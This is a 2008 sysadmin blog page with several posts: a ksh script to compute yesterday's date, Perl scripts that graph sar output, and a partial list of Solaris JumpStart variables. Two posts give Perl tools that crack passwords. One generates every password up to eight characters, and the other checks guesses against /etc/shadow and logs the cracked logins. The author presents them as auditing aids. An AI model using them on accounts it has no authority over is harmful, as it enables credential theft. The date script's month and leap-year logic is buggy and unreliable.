Showing posts with label scripting. Show all posts
Showing posts with label scripting. Show all posts

Thursday, January 24, 2008

A Unix And Linux Shell Script To Remind You Of Yesterday

For today's post, I thought we'd take a little break from all the graphing and harken back to a simpler time. Or, at least a time when my life was simpler ;)

Our script today is almost totally unnecessary in this day and age. If you use Perl's localtime function or know how to use the date command, this stuff is all taken care of for you. However, the script still stands as a good example of taking into account all the small things that go into something as simple as working with time and date variables that span the passing of a day.

Often, simple scripting constructs like these are overlooked, because they're built in to almost every Operating System and scripting language available at this point in time. However, we do use them almost every time we're tasked with automating menial administration tasks. For instance, if you want to roll the log file for any application, it's usually a good idea to do it just at midnight, at which point it's today, but you need to strip all of the values from your log file from yesterday and, for convenience, time stamp that chunked off log.

Our script today will absolutely positively work on RedHat Linux, Sun Solaris and every other flavor of Unix and/or Linux. It's about as basic as basic gets (although I did go with ksh/bash scripting to simplify the arithmetic and not confuse the issue with a whole bunch of cryptic expr calls).

This script is meant to be more of a function (or a file to be sourced into another script). I only included the bottom "echo" statements for illustrative purposes. You should remove those if you ever use this script, and I've included a legend at the bottom to show example values you can expect to get from the script's variables.

Have fun with this and check it out. If you can't avail yourself of any built-in date/time functions on your system, this might be of great use to you. Going through writing a script like this makes you appreciate the fact that you don't have to know all that much about the calendar or deal with all that messy stuff like "leap years," etc.

You can source in this file by saving it as whatever name you choose (let's say shelldate.h) and adding this line near the top of your script:

. /wherever/you/put/this/shelldate.h

Or you can use this as a function by just wrapping it in a function construct, like so:

function shelldate {
CODE HERE
}


and then using it in your script like so:

shelldate

or

shelldate()

Best Wishes - We'll get back to porting those graph scripts to Linux on tomorrow's post :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/ksh

###########################################################
# Dayback - For insertion into other #
# scripts. Takes all aspects of date #
# back one ( or more with slight #
# variation). #
###########################################################
# All variable output listed at bottom #
###########################################################
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#
###########################################################

###########################################################
# Main Variables #
###########################################################

SHORTALPHADAY=`date +%a`
LONGALPHADAY=`date +%A`
NUMBERDAY=`date +%d`
SHORTALPHAMONTH=`date +%b`
LONGALPHAMONTH=`date +%B`
NUMBERMONTH=`date +%m`
SHORTYEAR=`date +%y`
LONGYEAR=`date +%Y`
set -A SHORTALPHADAYS Mon Tue Wed Thu Fri Sat Sun
set -A LONGALPHADAYS Monday Tuesday Wednesday Thursday Friday Saturday Sunday
set -A SHORTALPHAMONTHS Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec
set -A LONGALPHAMONTHS January February March April May June July August September October November December

###########################################################
# The Number Section #
###########################################################

###########################################################
# Numbered Days #
###########################################################

if [ $NUMBERDAY -eq 01 ]
then
if [ $SHORTALPHAMONTH == "Feb" -o "Apr" -o "Jun" -o "Aug" -o "Sep" -o "Nov" ]
then
YESTERNUMBERDAY=31
elif [ $SHORTALPHAMONTH == "Jan" -o "May" -o "Jul" -o "Oct" -o "Dec" ]
then
YESTERNUMBERDAY=30
elif [ $SHORTALPHAMONTH == "Mar" ]
then

# Check for leap year

let LEAPYEAR=${LONGYEAR}%4
if [ $LEAPYEAR -eq 0 ]
then
YESTERNUMBERDAY=29
else
YESTERNUMBERDAY=28
fi
fi
else
let YESTERNUMBERDAY=$NUMBERDAY-1
COUNT=`echo "$YESTERNUMBERDAY" |wc -m`
if [ $COUNT -eq 2 ]
then
YESTERNUMBERDAY=0${YESTERNUMBERDAY}
fi
fi

###########################################################
# Numbered Months #
###########################################################

if [ $NUMBERDAY -eq 01 ]
then
if [ $NUMBERMONTH -eq 01 ]
then
YESTERNUMBERMONTH=12
else
let YESTERNUMBERMONTH=$NUMBERMONTH-1
COUNT=`echo "$YESTERNUMBERMONTH" |wc -m`
if [ $COUNT -eq 2 ]
then
YESTERNUMBERMONTH=0${YESTERNUMBERMONTH}
fi
fi
else
YESTERNUMBERMONTH=$NUMBERMONTH
fi

###########################################################
# Numbered Years #
###########################################################

###########################################################
# Short Years #
###########################################################

if [ $NUMBERMONTH -eq 01 -a $NUMBERDAY -eq 01 ]
then
if [ $SHORTYEAR -eq 00 ]
then
let YESTERSHORTYEAR=99
else
let YESTERSHORTYEAR=$SHORTYEAR-1
COUNT=`echo "$YESTERSHORTYEAR" |wc -m`
if [ $COUNT -eq 2 ]
then
YESTERSHORTYEAR=0${YESTERSHORTYEAR}
fi
fi
else
YESTERSHORTYEAR=$SHORTYEAR
fi

###########################################################
# Long Years #
###########################################################

if [ $NUMBERMONTH -eq 01 -a $NUMBERDAY -eq 01 ]
then
let YESTERLONGYEAR=$LONGYEAR-1
else
YESTERLONGYEAR=$LONGYEAR
fi

###########################################################
# The Alpha Section #
###########################################################

###########################################################
# Alpha Days #
###########################################################

###########################################################
# Short Days #
###########################################################

i=0
while [ $i -ne 7 ]
do
if [ $SHORTALPHADAY == ${SHORTALPHADAYS[$i]} ]
then
if [ $SHORTALPHADAY == "Mon" ]
then
YESTERSHORTALPHADAY="Sun"
break
fi
let j=$i-1
YESTERSHORTALPHADAY=${SHORTALPHADAYS[$j]}
break
else
let i=$i+1
fi
done

###########################################################
# Long Days #
###########################################################

i=0
while [ $i -ne 7 ]
do
if [ $LONGALPHADAY == ${LONGALPHADAYS[$i]} ]
then
if [ $LONGALPHADAY == "Monday" ]
then
YESTERLONGALPHADAY="Sunday"
break
fi
let j=$i-1
YESTERLONGALPHADAY=${LONGALPHADAYS[$j]}
break
else
let i=$i+1
fi
done

###########################################################
# Alpha Months #
###########################################################

###########################################################
# Short Months #
###########################################################

if [ $NUMBERDAY -eq 01 ]
then
i=0
while [ $i -ne 12 ]
do
if [ $SHORTALPHAMONTH == ${SHORTALPHAMONTHS[$i]} ]
then
if [ $SHORTALPHAMONTH == "Jan" ]
then
YESTERSHORTALPHAMONTH="Dec"
break
fi
let j=$i-1
YESTERSHORTALPHAMONTH=${SHORTALPHAMONTHS[$j]}
break
else
let i=$i+1
fi
done
else
YESTERSHORTALPHAMONTH=$SHORTALPHAMONTH
fi

###########################################################
# Long Months #
###########################################################

if [ $NUMBERDAY -eq 01 ]
then
i=0
while [ $i -ne 12 ]
do
if [ $LONGALPHAMONTH == ${LONGALPHAMONTHS[$i]} ]
then
if [ $LONGALPHAMONTH == "January" ]
then
YESTERLONGALPHAMONTH="December"
break
fi
let j=$i-1
YESTERLONGALPHAMONTH=${LONGALPHAMONTHS[$j]}
break
else
let i=$i+1
fi
done
else
YESTERLONGALPHAMONTH=$LONGALPHAMONTH
fi

###########################################################
# Todays Variables: (Example) #
###########################################################
# SHORTALPHADAY = Thu #
# LONGALPHADAY = Thursday #
# NUMBERDAY = 01 #
# SHORTALPHAMONTH = Jan #
# LONGALPHAMONTH = January #
# NUMBERMONTH = 01 #
# SHORTYEAR = 98 #
# LONGYEAR = 1998 #
###########################################################
# Yesterdays Variables: (Example) #
###########################################################
# YESTERSHORTALPHADAY = Wed #
# YESTERLONGALPHADAY = Wednesday #
# YESTERNUMBERDAY = 31 #
# YESTERSHORTALPHAMONTH = Dec #
# YESTERLONGALPHAMONTH = December #
# YESTERNUMBERMONTH = 12 #
# YESTERSHORTYEAR = 97 #
# YESTERLONGYEAR = 1997 #
###########################################################

echo SHORTALPHADAY = $SHORTALPHADAY
echo LONGALPHADAY = $LONGALPHADAY
echo NUMBERDAY = $NUMBERDAY
echo SHORTALPHAMONTH = $SHORTALPHAMONTH
echo LONGALPHAMONTH = $LONGALPHAMONTH
echo NUMBERMONTH = $NUMBERMONTH
echo SHORTYEAR = $SHORTYEAR
echo LONGYEAR = $LONGYEAR
echo YESTERSHORTALPHADAY = $YESTERSHORTALPHADAY
echo YESTERLONGALPHADAY = $YESTERLONGALPHADAY
echo YESTERNUMBERDAY = $YESTERNUMBERDAY
echo YESTERSHORTALPHAMONTH = $YESTERSHORTALPHAMONTH
echo YESTERLONGALPHAMONTH = $YESTERLONGALPHAMONTH
echo YESTERNUMBERMONTH = $YESTERNUMBERMONTH
echo YESTERSHORTYEAR = $YESTERSHORTYEAR
echo YESTERLONGYEAR = $YESTERLONGYEAR


, Mike




Wednesday, January 23, 2008

Perl Script To Graph Sar Cached Disk Reads and Writes




Note: Click the above picture to see it at 800x600.

Hey again,

For today's post, we're finally finishing up our four part series on graphing out sar in real time, that we last looked at yesterday. Today we'll be scripting out cached disk reads and writes on a server. This script goes in a little bit of a different direction than the previous three, as we're finally going to go hog-nuts and use bars and lines at the same time (not for the faint of heart ;)

This script was tested on Solaris, and the output from "sar -b" on RedHat is laid out in different order (so the array elements I use to plot the Graph values in this script may not give you the results you desire if you just run it straight-up in Linux). The script below is, again, written in Perl and will, run on Solaris Unix and RedHat Linux (Linux, again, with slight modification)

In our next post, we'll look at the modifications necessary to make all 4 of these scripts work on RedHat Linux. We'll also look at the basic concepts and what we're actually looking for, just in case the next version of the sysstat RPM changes the order of output again!

This script should be run on the host that you're doing the measuring on (since it runs sar at the time you invoke it), like so:

./sarcachegraph.pl

This graph is probably the most annoying out of the 4, which is why I saved it for last. Having cached reads at 100% is pretty much normal on Solaris, so I chose red to make it stand out even more than it would normally. My hope is that none of my superiors will want to look at this ever, and, if they do, they'll never want to again ;)

Remember, click on the picture above to see it at its actual resolution :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# Sarcachegraph.pl
#
# Graph Cached Disk Reads and Writes
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/us/">Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License</a>
#

use GIFgraph::mixed;
open(SARB, "/usr/sbin/sar -b|");
@sarb = <SARB>;
close(SARB);
$my_graph = new GIFgraph::mixed(800,600);
$my_graph->set(
x_label => 'Time',
y1_label => 'Percentage',
y2_label => 'Percentage',
title => 'Cache Reads and Writes by Server - host',
two_axes => 1,
y1_max_value => 100,
y2_max_value => 100,
y_min_value => 0,
y_tick_number => 5,
long_ticks => 1,
x_ticks => 0,
legend_marker_width => 24,
line_width => 10,
bar_spacing => 0,
gifx => 800,
gify => 600,
transparent => 1,
dclrs => [ qw( red green blue ) ],
types => [ qw( bars lines ) ],
);
$my_graph->set_legend( qw( Cache_Reads Cache_Writes ) );
$a = $b = $c = 0;
foreach $line (@sarb) {
next if ( ($line !~ /:/) || ($line =~ /\//));
@line=split(" ", $line);
if ( ( $a % 12 ) != 0 ) {
$pandata0[$a] = undef;
} else {
$line[0] =~ s/:00$//;
$pandata0[$a] = $line[0];
}
$pandata1[$b] = $line[3];
$pandata2[$c] = $line[6];
$a++;
$b++;
$c++;
}
if ( ! $c ) {
@pandata0[0] = `date "+%H:%M"`;
@pandata1[1] = 0;
@pandata2[2] = 0;
}
@data = (\@pandata0, \@pandata1, \@pandata2);
$my_graph->plot_to_gif( "/your/data/dir/sarb.gif", \@data );


, Mike




Tuesday, January 22, 2008

Graphing System Paging Activity With Perl And Sar



Note: Click the above picture to see it at 800x600.

Hey There,

For today's post, we're following in the footsteps of yesterday's activity, but moving on to scripting out system paging activity on a server. This script goes in a little bit of a different direction than the previous two, as we'll be charting out these values with bars. There are only so many wavy lines a guy can take ;)

This script was written on a Solaris box, and the output from "sar -g" on RedHat is distributed slightly differently (so the array elements I use to plot the Graph values in this script wouldn't give you precise results if you just ran this on Linux. They might be interesting, though ;). The script below is, again, written in Perl and will, run on Solaris Unix and RedHat Linux (Linux, again, with slight modification - but we'll definitely hit on that in a follow-up post when we've covered all 4 major bases).

This script is written to be run on the host it's measuring, since it runs sar at the time you invoke it, like so:

./sarpagegraph.pl

This Graph didn't turn out to look very visually striking, but the use of bars to represent triplicate y values seemed appropriate. Charts like these cause eyestrain, and resulting headaches, commensurate with the amount of sampled data crammed into the picture ;)

Again, click on the picture above to see it at its actual resolution :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# Sarpagegraph.pl
#
# Graph Paging Activity In Almost Real Time
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/us/">Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License</a>
#

use GIFgraph::bars;
open(SARG, "/usr/sbin/sar -g|");
@sarg = <SARG>;
close(SARG);
$my_graph = new GIFgraph::bars(800,600);
$my_graph->set(
x_label => 'Time',
y1_label => 'Number',
y2_label => 'Number',
title => 'Paging Activity by Server - host',
two_axes => 1,
y_min_value => 0,
y1_max_value => 20,
y2_max_value => 20,
y_tick_number => 5,
long_ticks => 1,
x_ticks => 0,
legend_marker_width => 24,
line_width => 10,
bar_spacing => 0,
gifx => 800,
gify => 600,
transparent => 1,
dclrs => [ qw( red green blue black) ],
);
$my_graph->set_legend( qw( Pages_Paged_Out Pages_Added_To_Free_List Pages_Scanned ) );
$a = $b = $c = $d = 0;
foreach $line (@sarg) {
next if ( ($line !~ /:/) || ($line =~ /\//));
@line=split(" ", $line);
if ( ( $a % 12 ) != 0 ) {
$pandata0[$a] = undef;
} else {
$line[0] =~ s/:00$//;
$pandata0[$a] = $line[0];
}
if ( $line[2] == 0 ) {
$pandata1[$b] = 0;
} else {
$pandata1[$b] = $line[2];
}
if ( $line[2] == 0 ) {
$pandata2[$c] = 0;
} else {
$pandata2[$c] = $line[3];
}
if ( $line[2] == 0 ) {
$pandata3[$d] = 0;
} else {
$pandata3[$d] = $line[4];
}
$a++;
$b++;
$c++;
$d++;
}
if ( ! $c ) {
@pandata0[0] = `date "+%H:%M"`;
@pandata1[0] = 0;
@pandata2[0] = 0;
@pandata3[0] = 0;
}
@data = (\@pandata0, \@pandata1, \@pandata2, \@pandata3);
$my_graph->plot_to_gif( "/your/data/storage/dir/sarg.gif", \@data );


, Mike




Monday, January 21, 2008

Free Memory Graph Generation With Perl And Sar

Sar Free Memory Statistics Graph Generated With The Perl GifGraph Module
Note: Click the above picture to see it at 800x600.

Hey There,

For today's post, we're continuing from yesterday, but moving on to scripting out a graphological representation of the free memory usage on a server. Over the next few days I'll be posting the only other two variations I find that people really want to see all the time (and by people, I mean my managers). Then we'll go over setting them all up to run interactively in CGI so "people" will never bother you again. At least, not for that ;)

We'll also take a quick look, in retrospect, on how to "fix" all four scripts to run using Linux sar from the sysstat RPM. Maybe we'll just make this a graph generation script week. It won't compete with the Oscars, but it might resemble the closest thing we've ever come to a theme amongst a group of consecutive posts on this blog ;)

The script below is, again, written in Perl and will, run on Solaris Unix and RedHat Linux. The script was written specifically to run on Solaris and the output from "sar -r" on RedHat is in slightly different order (so the array elements I use to seed the Graph values in this script won't translate without some modification).

You can run it easily by just invoking it (as it is, it should be run on the host it's measuring, since it runs sar at the time you invoke it):

./sarmemgraph.pl

Note that there are some significant differences in this graph, compared to yesterday's post, including the use of multiple y values. Yay :)

Again, click on the picture above to see it at its actual resolution and enjoy :)

Enjoy,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# sarmemgraph.pl
# Graph Free Memory in Pictorial Form
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/us/">Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License</a>
#

use GIFgraph::lines;
open(SARR, "/usr/sbin/sar -r|");
@sarr = <SARR>;
close(SARR);
$my_graph = new GIFgraph::lines(800,600);
$my_graph->set(
x_label => 'Time',
y1_label => 'MegaBytes',
y2_label => 'MegaBytes',
title => 'Free Memory By Server - host',
y_min_value => 0,
y_tick_number => 5,
long_ticks => 1,
x_ticks => 0,
legend_marker_width => 24,
line_width => 10,
bar_spacing => 0,
gifx => 800,
gify => 600,
transparent => 1,
dclrs => [ qw( red green blue ) ],
);
$my_graph->set_legend( qw( Real_Memory_Pages_Available Swap_Memory_Available ) );
$a = $b = $c = 0;
foreach $line (@sarr) {
next if ( ($line !~ /:/) || ($line =~ /\//));
@line=split(" ", $line);
if ( ( $a % 12 ) != 0 ) {
$pandata0[$a] = undef;
} else {
$line[0] =~ s/:00$//;
$pandata0[$a] = $line[0];
}
$pandata1[$b] = ($line[1]*8)/1000;
$pandata2[$c] = ($line[2]/2)/1000;
$a++;
$b++;
$c++;
}
if ( ! $c ) {
@pandata0[0] = `date "+%H:%M"`;
@pandata1[1] = 0;
@pandata2[2] = 0;
}
@data = (\@pandata0, \@pandata1, \@pandata2);
$my_graph->plot_to_gif( "/my/stats/directory/sarr.gif", \@data );


, Mike




Friday, January 18, 2008

Script To Generate All Possible Passwords With Perl

In Yesterday's post, we took a look at how it's possible to use Perl to deal with generating random passwords, and that post was meant to link in with its preceding post. While it, technically, fulfilled that requirement, it took a while to elaborate on scripting out random passwords so I tried to keep on point, since it turned out to be a post's worth of information in itself.

With that in mind, in today's post, we're going to look at another part of the password puzzle: Generation of all possible passwords within a given numeric range. This might otherwise be referred to as brute-force password generation (which is the reason I wrote it using brute-force scripting :). What we're going to accomplish today is to create a simple "password generator" script that will allow us to generate all possible passwords (or all possible combinations of the 94 standard ASCII characters that make up valid passwords) up to an 8 character password. This has been tested on both Solaris Unix and RedHat Linux. One day, I'll stop compulsively typing that. If a script works in Perl, using that language's basics, its a given that it will work on most Unix/Linux systems you can install it on.

Please bear in mind that using this program is simple, but, depending on how you use it, it may take up all of your disk space and lots of your computer's time ;)

By way of explanation: This script produces one entry per line into a file, so that you could feed that file to a program like the one we looked at in this post.

Now, if we were to run it with the following arguments (we'll call it 8gen.pl for whatever goofy reason I pick the names I pick for my scripts ;)

host # ./8gen.pl 1 >OUTPUT <--- Note that, especially when running with larger number arguments, you should redirect the script output to a file, rather than "tee" it off, since viewing the tty/pty buffer as password combinations are generated could introduce a giant lag between completion of the script's execution and your getting a shell prompt back!

it would generate, in under a second, a file 94 lines long, with each line containing 1 of each of the 94 characters available (Please see the script's @94 array to check out all the variables. It's too insane to type over and over again ;), like this:

host # wc -l OUTPUT
host # 94 OUTPUT

These numbers (both the size of the list in lines and the amount of time it takes to run the program) increase with each added level. They both increase exponentially which is more evident to the user if you're running an 8 character execution than if you're running a 2 character execution.

Let's say we decide we want to list out all possible 2 letter passwords. We would do this:

host # ./8gen.pl 2 >OUTPUT

And check out how big that gets (all combinations from aa to ??):

host # wc -l OUTPUT
host # 8836 OUTPUT

Just to be sure we're right about this, let's check with the standard Linux and Unix "dc" utility by typing:

host # echo 94 2 ^ p | dc
host # 8836


and see that using 2 characters is actually the 94 original characters to the exponent of 2. This theory relates to every level you go up. So running it for all combinations of 4 letter passwords would be the 94 characters to the exponent of 4 as demonstrated here:

host # echo 94 4 ^ p | dc
host # 78074896
host # ./8gen.pl 4 >OUTPUT
host # wc -l OUTPUT
host # 78074896 OUTPUT

And the time to wait for your list to generate? It may very well be exponentially longer. If you're going to run a 4 character execution, go grab a cup of coffee. If you're going to run an 8 character execution, depending on your machine, you might as well go home, get some rest and come back in to work the next day. Then it might be halfway done ;) I've never had the patience or desire to try and sneak this in at work and the boxes I have at home would take weeks to run this (94 to the 8th power will generate 6,095,689,385,410,816 unique passwords).

Example running on a SunFire v490 with 4 x 1350Mhz CPU and 32GB RAM:

host # time ./8gen.pl 2 >OUTPUT
real 0m0.47s
user 0m0.04s
sys 0m0.38s
host # time ./8gen.pl 4 >OUTPUT
real 5m59.03s
user 5m37.10s
sys 0m2.86s

Once you've created a master password file, like so:

host # ./8gen.pl 8 >OUTPUT

you can use the OUTPUT file with the "pwdcheck" Perl script we introduced a few posts ago. Then, assuming you have the root privilege required to access and read your /etc/shadow file, you can set that on auto (perhaps trim the print statements so "pwdcheck" only prints out matches) and will eventually guess everyone's password. At this point, it's really only a matter of time, because you will be checking every possible combination of 94 possible characters in all 8 positions of the password. You can prove this to yourself simply by grepping any valid 8 character string from your OUTPUT file. It will be there (trust me)!

host # grep sN@gg3r$ OUTPUT
host # sN@gg3r$
...


Note that this also assumes that your password system is limited to an 8 character boundary, like Sun's standard. If you wanted to run up against more advanced password systems with better encryption and longer possible passwords, you'd just need to use your scripting abilities to modify both scripts slightly in order to achieve the same end result.

This Perl script should hopefully be a helpful tool in your constant fight against lame passwords. And, as always, though it can be used for less than ethical purposes, please understand that I only put this stuff out to try and help other admins like myself make their workplace more secure. Since any disgruntled lunatic can use these same methods to make your work-life miserable, you owe it to yourself to know how to do it, too.

Knowledge is power. If you know what your adversary knows, you're doing better than most :)

Enjoy,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# 8gen.pl - generate all possible password
# combinations up to 8 characters
# Usage: 8gen.pl Password_Length (1 - 8)
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if ( $#{ARGV} < 0 ) {
print "\nUsage: $0 password_length\n";
print "Only 8 characters please. This is\n";
print "going to take a long time as it is!\n";
exit(1);
}

$pass_length = $ARGV[0];

@94 = qw(a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z ` 1 2 3 4 5 6 7 8 9 0 - = [ ] \ ; ' , . / ~ ! @ # $ % ^ & * ( ) _ + { } | : " < > ?);

if ( $pass_length < 1 || $pass_length > 8 ) {
print "Usage: $0 password_length\n";
print "Only 8 characters please. This is\n";
print "going to take a long time as it is!\n";
}

$a = $b = $c = $d = $e = $f = $g = $h = 94;

if ( $pass_length == 8 ) {
for ($a=0;$a<94;$a++) { for ($b=0;$b<94;$b++) { for ($c=0;$c<94;$c++) { for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s%s%s%s%s\n", $94[$a], $94[$b], $94[$c], $94[$d], $94[$e], $94[$f], $94[$g], $94[$h]);
} } } } } } } }
} elsif ( $pass_length == 7 ) {
for ($b=0;$b<94;$b++) { for ($c=0;$c<94;$c++) { for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s%s%s%s\n", $94[$b], $94[$c], $94[$d], $94[$e], $94[$f], $94[$g], $94[$h]);
} } } } } } }
} elsif ( $pass_length == 6 ) {
for ($c=0;$c<94;$c++) { for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s%s%s\n", $94[$c], $94[$d], $94[$e], $94[$f], $94[$g], $94[$h]);
} } } } } }
} elsif ( $pass_length == 5 ) {
for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s%s\n", $94[$d], $94[$e], $94[$f], $94[$g], $94[$h]);
} } } } }
} elsif ( $pass_length == 4 ) {
for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s%s\n", $94[$e], $94[$f], $94[$g], $94[$h]);
} } } }
} elsif ( $pass_length == 3 ) {
for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s%s\n", $94[$f], $94[$g], $94[$h]);
} } }
} elsif ( $pass_length == 2 ) {
for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
printf("%s%s\n", $94[$g], $94[$h]);
} }
} elsif ( $pass_length == 1 ) {
for ($h=0;$h<94;$h++) {
printf("%s\n", $94[$h]);
}
}


, Mike




Wednesday, January 16, 2008

Perl Password Cracker For Linux and Unix

As you may recall, from a few postings ago, we took a look at wrapping a popular password cracker in Unix and/or Linux shell scripting for ease of use.

In today's post, we're actually going to do the password cracking ourselves!

This code has been tested on Solaris Unix and RedHat Linux and is 100 percent guaranteed to be somewhat entertaining ;) Again, I feel obligated to note that this software is for recreational use only and is actually intended to help system administrators find weak passwords in order to maximize security (In tomorrow's post, we'll look at a way to help with generating new passwords that will have everyone on your watch begging to be able to create their own ;)

This script makes use of Perl's built-in crypt function, which works in much the same way as the standard Unix or Linux crypt function does. Since we haven't yet figured out how to break the level of encryption you, hopefully, have on your systems, this program could also be considered a password guesser.

I wrote this up so that it can be invoked simply by its name, like so:

./pwdcheck

and requires no argument. This version prompts for input. It could be easily modified to accept command line arguments, but I left that alone for now, since it's not the main aim of the script. This script is also very simple, as I wanted to demonstrate the shell script concept of password guessing in its purest form. If you choose to try and find a single password you would type the name in when prompted. For a list of passwords, you would type in the name of the list (absolute or relative) with passwords in it (one to a line). Then the script will check your /etc/shadow file for any passwords that match your guess.

It's no lie that this method of password cracking is far less sophisticated than the methods used by products like John The Ripper, etc. However, it does demonstrate how the crypt function works and what really goes on at the guts of all of those types of programs (JTR, for instance, uses fastcrypt and does its own word manipulation outside of the "guessing" routine).

Hope you enjoy this and find some use for it. Tomorrow, we'll look at a script that will produce random passwords (great for helping out with system administration) that you can use for input to this script.

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License


#!/usr/bin/perl
#
# pwdcheck - Simple password checker.
# Works with password file input, one
# password per line, or one password
# at a time. Must be root to execute!
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#
#

print "Will you be checking one password or a list of them? [P or L]\n";
chomp($answer=<stdin>);
$answer=~ tr/A-Z/a-z/;
if ($answer eq "p") {
print "password to check?\n";
chomp($guess=<stdin>);
print "Do you keep your password entries in passwd,\n";
print "shadow, or another file? [P, S or O]\n";
chomp($reply=<stdin>);
$reply=~ tr/A-Z/a-z/;
if ($reply eq "s") {
open(SHADOW, "</etc/shadow");
} elsif ($reply eq "p") {
open(SHADOW, "</etc/passwd");
} elsif ($reply eq "o") {
print "What's the absolute pathname of the file?\n";
chomp($pathname=<stdin>);
if ( -f $pathname) {
open(SHADOW, "<$pathname");
} else {
print "I don't think it's there...\n";
exit;
}
} else {
print "Can't find that anywhere...\n";
exit;
}
@SHADOW=<SHADOW>;
foreach $LINE (@SHADOW) {
@line=split(/:/, $LINE);
$passwd{$line[1]} = $line[0];
}
foreach $PART (@SHADOW) {
@stab=split(/:/, $PART);
if (crypt($guess, $stab[1]) eq $stab[1]) {
print "Got $guess for user $passwd{$stab[1]}!\n";
$yes = 1;
}
}
if ( $yes eq 1) {
exit;
} else {
print "...Doesn't look like it...\n";
}
} elsif ($answer eq "l") {
print "Name of word file?\n";
chomp($passfile=<stdin>);
print "Absolute pathname of passwd, shadow or\n";
print "other relevant file?\n";
chomp($shadow=<stdin>);
open(SHADOW, "<$shadow");
@SHADOW=<SHADOW>;
foreach $LINE (@SHADOW) {
@line=split(/:/, $LINE);
$passwd{$line[1]} = $line[0];
}
close(SHADOW);
open(PWDFILE, "<$passfile");
@passfile=<PWDFILE>;
foreach $guess (@passfile) {
$guess=~ s/\s//g;
print "Checking for $guess ...\n";
open(SHADOW, "<shadow");
foreach $PART (@SHADOW) {
@stab=split(/:/, $PART);
if (crypt($guess, $stab[1]) eq $stab[1]) {
print "Got $guess for user $passwd{$stab[1]}!\n";
open(PD, ">>Passwords");
print PD "Login: $passwd{$stab[1]}\t\tPassword: $guess\n";
close(PD);
}
close(SHADOW);
}
}
} else {
print "Which part didn't you get?\n";
}
exit;


, Mike




Tuesday, January 15, 2008

Begin and Finish Script Unix Shell Variables For JumpStart

Today, we're going to finish up what we started in yesterday's and the previous day's posts detailing the customization of Solaris JumpStart using simple Unix shell scripting techniques.

Please, only go back there and read those if the specific topics are of interest to you. If you're just looking for a good collection of available scripting variables for Begin and Finish scripts, you'll thank me for saving you the time ;)

Both Begin and Finish scripts export a certain number of variables automatically. Following is a list of the ones I've discovered during the process of working with the program. The following sections are divided into CRASH (The environment you're left with if you crash to a restricted root shell at any point during the installation), BEGIN (The environment exported during the execution of your begin script) and FINISH (The environment exported during the execution of your finish script). I've denoted the more useful variables (insofar as scripting is concerned) by indenting them slightly more.

Note that all of these variables were found by terminating the execution of JumpStart at the given point and dumping the output of the commands "set" and "env" - I filtered out the variables that were off-topic. Please note, also, that these variables exclude the JASS and SST environment variables, as my aim here is to provide a listing of all available variables that can be used in Begin and Finish scripts no matter what your situation. You can use these whether or not you decide to avail yourself of the additional Solaris JumpStart custom packages Sun has put together over the years (Basically, to make it so you don't have to do any security hardening on your own. I'm not saying this is a bad thing; only that you may know what you want to control and not require that "convenience").

NOTE: Surprisingly enough, there is no SI_INSTALL_DIR or SI_INST_DIR variable provided to indicate your installation directory (e.g., /export/install).

Hopefully, having this list of Solaris Unix variables will prove useful to you at some point during your JumpStart scripting endeavors!

Good Luck and Best Wishes,

CRASH:

HOME=/tmp/root
PATH=/sbin:/usr/sbin/install.d:/usr/sbin:/usr/bin
PLATFORM=sparc
SHELL=/sbin/sh
TEXTDOMAIN=SUNW_INSTALL_SCRIPTS
TZ=PST8PDT
_DVFS_RECONFIG=YES

BEGIN:

CHECK_INPUT=/tmp/install_config/rules.ok
HOME=/tmp/root
LANG=en
LC_COLLATE=en_US
LC_CTYPE=en_US
LC_MESSAGES=C
LC_MONETARY=en_US
LC_NUMERIC=en_US
LC_TIME=en_US
PATH=/sbin:/usr/sbin/install.d:/usr/sbin:/usr/bin
PLATFORM=sparc
SHELL=/sbin/sh
SI_BEGIN=jclient_begin
